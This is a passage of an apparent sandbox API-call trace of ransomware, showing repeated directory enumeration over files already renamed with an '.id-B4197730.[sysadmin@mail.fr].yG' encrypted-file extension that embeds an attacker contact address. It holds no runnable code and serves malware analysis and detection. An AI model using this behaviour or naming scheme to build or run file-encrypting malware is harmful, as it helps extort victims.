	[0178.967] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99951da5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.967] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99a8302f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.967] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.967] FindNextFileW (in: hFindFile=0x3cf0fa8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98cf3930, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98cf3930, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.967] FindClose (in: hFindFile=0x3cf0fa8 | out: hFindFile=0x3cf0fa8) returned 1
	[0178.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.968] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1053", cAlternateFileName="")) returned 1
	[0178.969] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.969] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0ee8
	[0178.970] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0178.970] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99715aa1, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99715aa1, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99977f1e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0178.970] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9973bbef, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9973bbef, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99a36c4e, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13076, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0178.970] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98c5b07b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98c5b07b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0178.970] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98c5b07b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98c5b07b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0178.970] FindClose (in: hFindFile=0x3cf0ee8 | out: hFindFile=0x3cf0ee8) returned 1
	[0178.972] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0178.972] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="1055", cAlternateFileName="")) returned 1
	[0178.972] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0178.972] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0b28
	[0179.066] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.066] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99951da5, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99951da5, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99dd0129, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0179.066] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99977f1e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99977f1e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99dd0129, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x12d16, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0179.066] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ca7488, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ca7488, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0179.067] FindNextFileW (in: hFindFile=0x3cf0b28, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ca7488, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ca7488, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ca7488, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0179.067] FindClose (in: hFindFile=0x3cf0b28 | out: hFindFile=0x3cf0b28) returned 1
	[0179.067] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.067] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="2052", cAlternateFileName="")) returned 1
	[0179.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.067] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0968
	[0179.068] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.068] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99a36c4e, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99a36c4e, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99df06c7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0179.068] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99a8302f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99a8302f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99c72daf, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0179.068] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ccd789, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ccd789, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0179.069] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ccd789, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ccd789, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0179.069] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0179.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.069] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="2070", cAlternateFileName="")) returned 1
	[0179.070] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.070] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf09a8
	[0179.071] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.071] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99c72daf, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99c72daf, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99d31a53, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0179.071] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99d57d73, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99d57d73, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99eaf20f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0179.071] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0179.071] FindNextFileW (in: hFindFile=0x3cf09a8, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98d3ff57, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98d3ff57, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98ebd739, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0179.071] FindClose (in: hFindFile=0x3cf09a8 | out: hFindFile=0x3cf09a8) returned 1
	[0179.072] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.072] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="3076", cAlternateFileName="")) returned 1
	[0179.072] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
	[0179.072] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName=".", cAlternateFileName="")) returned 0x3cf0968
	[0179.073] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="..", cAlternateFileName="")) returned 1
	[0179.074] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99dd0129, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99dd0129, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99ed54b1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="EULART~1.YG")) returned 1
	[0179.074] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99df06c7, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99df06c7, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99ed54b1, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="LOCALI~1.YG")) returned 1
	[0179.074] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 1
	[0179.074] FindNextFileW (in: hFindFile=0x3cf0968, lpFindFileData=0x329f800 | out: lpFindFileData=0x329f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98ebd739, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98ebd739, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98fee8f7, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffdf9d, dwReserved1=0xb8d, cFileName="SetupResources.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPR~1.YG")) returned 0
	[0179.074] FindClose (in: hFindFile=0x3cf0968 | out: hFindFile=0x3cf0968) returned 1
	[0179.075] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.075] FindNextFileW (in: hFindFile=0x6baa80, lpFindFileData=0x329fa7c | out: lpFindFileData=0x329fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43, dwReserved1=0xffffb454, cFileName="3082", cAlternateFileName="")) returned 1
	[0179.075] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c50068
